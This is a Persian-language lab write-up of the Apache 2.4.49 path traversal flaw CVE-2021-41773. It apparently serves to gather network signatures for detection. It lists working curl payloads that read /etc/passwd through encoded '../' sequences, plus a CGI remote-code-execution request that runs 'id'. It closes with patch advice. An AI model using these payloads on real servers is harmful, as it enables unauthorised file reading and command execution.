آسیب‌پذیری CVE–2021–41773 (Apache HTTP Server)

پلتفرم آسیب‌پذیر: سرورهایی که بر روی آنها نسخه آپاچی 2.4.49 نصب است.

تاریخ ارائه وصله امنیتی: 2021-10-05 نسخه 2.4.50

نوع آسیب‌پذیری:path traversal

دسترسی حاصل از استفاده از این آسیب‌پذیری: unauthenticated remote code execution(در صورت فعال بودن مد CGI)

 

مقدمه

نسخه 2.4.49 آپاچی به منظور بهبود url validation ارائه شده، اما همین تغییرات به وجود آمده در این نسخه سبب ایجاد آسیب‌پذیری CVE–2021–41773 گردیده است.

این آسیب‌پذیری از نوع path traversal می‌باشد، بدین معنا که مهاجم امکان دسترسی به مسیر‌ها و پوشه‌های وب‌سرور و مسیرهای دیگر را، در سمت کاربر (Client-Side) به دست می‌آورد.

لازم به ذکر است در صورتی که قابلیت “Require all denied” در تنظیمات پیکربندی آپاچی (در این نسخه) فعال نباشد امکان دور زدن URL validation با استفاده از character encoding فراهم می‌شود و در صورت فعال بودن مد cgi از این آسیب‌پذیری برای دسترسی از راه دور (rce) نیز می‌توان استفاده کرد.

 

نحوه تست وجود آسیب‌پذیری

سیستم عامل‌های استفاده شده در این سناریو:

  • ubuntu 18.04
  • ویندوز ۱۰

با نصب آپاچی نسخه 2.4.49 و رفتن به مسیر تنظیمات (در سناریو انجام شده مسیر /usr/local/apache2.4.49/conf/httpd.conf) آن در ابتدا از بخش DocumentRoot تنظیمات را همانند تصویر زیر از حالت پیش فرض ”Require all denied’ به ”Require all granted’ تغییر می‌دهیم:

 

 

Screenshot from 2022-05-21 16-52-28.png

 

در ادامه برای فعال‌سازی مد cgi برای دسترسی اجرای کد نیز در همان بخش تنظیمات دسترسی را به “Require all granted” تغییر می‌دهیم:

 

 

Screenshot from 2022-05-21 17-03-10.png

با اعمال دو تغییر فوق این سرور آسیب‌پذیر می‌باشد.

 

شیوه نصب bash لینوکس در ویندوز

به منظور تست آسیب‌پذیری فوق از آنجایی که هدف بررسی امضاهای شبکه گرفته شده از این سناریو است لازم بود تا از یک سیستم ویندوزی به عنوان مهاجم استفاده شود اما برای اینکه دستورات استفاده شده برای اجرای سناریو با استفاده از curl که در سایت مرجع انجام شده و curl به صورت پیش فرض در ویندوز وجود ندارد، ابتدا با مراجعه به https://store.rg-adguard.net/ و انتخاب گزینه productid می‌توان برنامه‌های موجود در microsoft store را به صورت مستقیم دانلود و نصب کرد(pid مربوط به bash لینوکس در سایت مایکروسافت در زمان نوشتن این صفحه برابر با 9N9TNGVNDL3Q می‌باشد.) پس از دانلود و نصب فایل مدنظر بر روی ویندوز می‌توان از طریق ویندوز دستورات bash را اجرا کرد.

∗ تذکر: شیوه‌های دیگری نیز برای اجرای این دستور با هدف اصلی اجرای کد مخرب قابل استفاده است.

در ادامه برای بررسی اینکه آیا یک سرور حاوی این آسیب‌پذیری می‌باشد یا خیر می‌توان از دستور زیر استفاده کرد:

 

 curl -v –path-as-is http://<target>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

 

در خط فوق منظور از target همان سرور آسیب‌پذیر است.

تصویر زیر خروجی دستور فوق را که از سیستم ویندوز به اوبونتو آسیب‌پذیر زده شده نشان می‌دهد:

 

 

Screenshot from 2022-05-21 17-57-30.png

 

همان‌طور که در تصویر فوق مشخص است با اجرای دستور نوشته شده، محتویات مسیر /etc/passwd از سرور 172.16.152.240 که آپاچی آسیب‌پذیر بر روی آن نصب است قابل مشاهده شد.

این روش دور زدن که همان path traversal است، امکان دسترسی به فایل‌ها و مسیرهایی که خارج از مسیر اصلی وب ذخیره شده‌اند را برای کاربر مهیا می‌سازد.

 

از جمله دستورهایی که در سناریو فوق به صورت موفق مسیر /etc/passwd سرور قربانی را که مشخصات مربوط به هر کاربر در لینوکس می‌باشد برمی‌گرداند: ( × تذکر: این سناریو صرفا یک مثال از نحوه عملکرد آسیب‌پذیری را نمایش می‌دهد ).

به جای url encoding وارد شده در تصویر فوق می‌توان از encodingهای موجود در دستورات زیر نیز استفاده کرد:

 

 

curl -v –path-as-is http://172.16.152.240:80/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

curl -v –path-as-is http://172.16.152.240:80/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

curl -v –path-as-is http://172.16.152.240:80/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

 

برای اجرای rce لازم است تا در تنظیمات پیکربندی آپاچی تغییر ایجاد شده و mod_cgi که به صورت پیش فرض غیر فعال است فعال شود برای اینکار تنظیمات زیر در پیکربندی اضافه می‌شود:

 

 

Screenshot from 2022-05-22 09-59-48.png

 

 

برای تست عملکرد این آسیب‌پذیری می‌توان از دستور زیر استفاده کرد:

 

curl ‘http://<Target>/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh’ -d ‘A=|echo;id’ -vv 

 

نتیجه خروجی حاصل:

 

Rce.png

نحوه وصله آسیب‌پذیری

به روزرسانی آپاچی به آخرین نسخه ارائه شده.

 

منابع

https://blogs.juniper.net/en-us/threat-research/apache-http-server-cve-2021-42013-and-cve-2021-41773-exploited